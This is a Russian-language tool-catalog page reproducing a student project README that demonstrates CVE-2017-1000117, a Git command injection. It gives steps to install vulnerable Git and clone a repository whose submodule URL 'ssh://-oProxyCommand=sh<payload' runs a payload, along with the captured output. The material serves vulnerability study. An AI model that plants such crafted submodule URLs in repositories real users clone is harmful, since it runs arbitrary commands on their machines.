Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2017-1000117 — Воспроизведение уязвимости CVE-2017-1000117 (PoC+Exp) | Kitploit
Инструменты/GitHubGitHub/anonymking/cve-2017-1000117
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеЛаборатории и Практика
GitHubanonymking/cve-2017-1000117

CVE-2017-1000117

Воспроизведение уязвимости CVE-2017-1000117 (PoC+Exp)

Репозиторий
32187 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2017-1000117

Описание проекта

  • Одна из тем курсового проекта по кибербезопасности
  • Воспроизведение уязвимости CVE-2017-1000117 (PoC+Exp)
  • Git + SSH

Описание уязвимости:

  • Название уязвимости: Командная инъекция в Git
  • Идентификатор CNNVD: CNNVD-201708-670
  • Уровень опасности: средний
  • Идентификатор CVE: CVE-2017-1000117
  • Тип уязвимости: командная инъекция
  • Дата публикации: 2017-08-16
  • Тип угрозы: удаленная
  • Дата обновления: 2017-10-17
  • Производитель: git-scm
  • Источник уязвимости: TrevorJay
  • Описание уязвимости: Git — это бесплатная, открытая распределенная система контроля версий, разработанная американским разработчиком Линусом Торвальдсом (Linus Torvalds). В версиях Git до 2.7.5 существовала командная уязвимость. Удаленный злоумышленник может использовать специально созданный URL 'ssh://...' для выполнения произвольных команд на удаленном устройстве.

Процесс эксплуатации

  • Установите версию Git, подверженную уязвимости (Git for Linux, Git for Windows)
  • Я выбрал версию git-2.12.1 (лично проверено, что эта версия работает как на Linux, так и на Windows) (соответствующие ссылки для скачивания версии 2.12.1 для Linux и Windows: git-2.12.1.tar.gz, Git-2.12.1-64-bit.tar.bz2)
  • После установки Git выполните клонирование проекта с субмодулями: git clone --recursive https://github.com/AnonymKing/CVE-2017-1000117.git
$ git clone --recursive https://github.com/AnonymKing/CVE-2017-1000117.git
Cloning into 'CVE-2017-1000117'...
remote: Enumerating objects: 14, done.
remote: Counting objects: 100% (14/14), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 14 (delta 3), reused 8 (delta 0), pack-reused 0
Unpacking objects: 100% (14/14), done.
Submodule 'exploit' (ssh://-oProxyCommand=sh<payload /exploit) registered for path 'exploit'
Cloning into 'C:/Users/AnonymKing/Desktop/Git-2.12.1-64-bit/test/CVE-2017-1000117/exploit'...
Pseudo-terminal will not be allocated because stdin is not a terminal.


*********************************************
                   _ooOoo_
                  o8888888o
                  88" . "88
                  (| -_- |)
                  O\  =  /O
               ____/`---'\____
             .'  \\|     |//  `.
            /  \\|||  :  |||//  \
           /  _||||| -:- |||||-  \
           |   | \\\  -  /// |   |
           | \_|  ''\---/''  |   |
           \  .-\__  `-`  ___/-. /
         ___`. .'  /--.--\  `. . __
      ."" '&lt;  `.___\_&lt;|>_/___.'  >'"".
     | | :  `- \`.;`\ _ /`;.`/ - ` : | |
     \  \ `-.   \_ __\ /__ _/   .-` /  /
======`-.____`-.___\_____/___.-`____.-'======
                   `=---='
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

ssh_exchange_identification: Connection closed by remote host
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
fatal: clone of 'ssh://-oProxyCommand=sh<payload /exploit' into submodule path 'C:/Users/AnonymKing/Desktop/Git-2.12.1-64-bit/test/CVE-2017-1000117/exploit' failed
Failed to clone 'exploit'. Retry scheduled
  • Когда вы увидите Будду, уязвимость уже воспроизведена, вредоносный код из payload успешно выполнен.

Обновление от 21.06.2019 10:30

  • При написании отчета внезапно обнаружил, что эта уязвимость очень похожа на CVE-2018-17456, просто сформулирована иначе. В основе обеих лежит неспособность правильно обработать символ '-', который ошибочно интерпретируется как аргумент, что приводит к выполнению произвольного кода.
  • Об эксплуатации уязвимости CVE-2018-17456 можно прочитать в этой статье: «Анализ уязвимости Git Submodule (CVE-2018-17456)»

Обновление от 21.06.2019 19:39

  • При поиске материалов обнаружил еще одну очень похожую уязвимость CVE-2018-11235
  • По уязвимости CVE-2018-11235 привожу несколько справочных статей: CVE-2018-11235 git RCE, PoC exploit for CVE-2018-11235, Подробный анализ удаленного выполнения кода в Git (CVE-2018-11235)
Скачать инструмент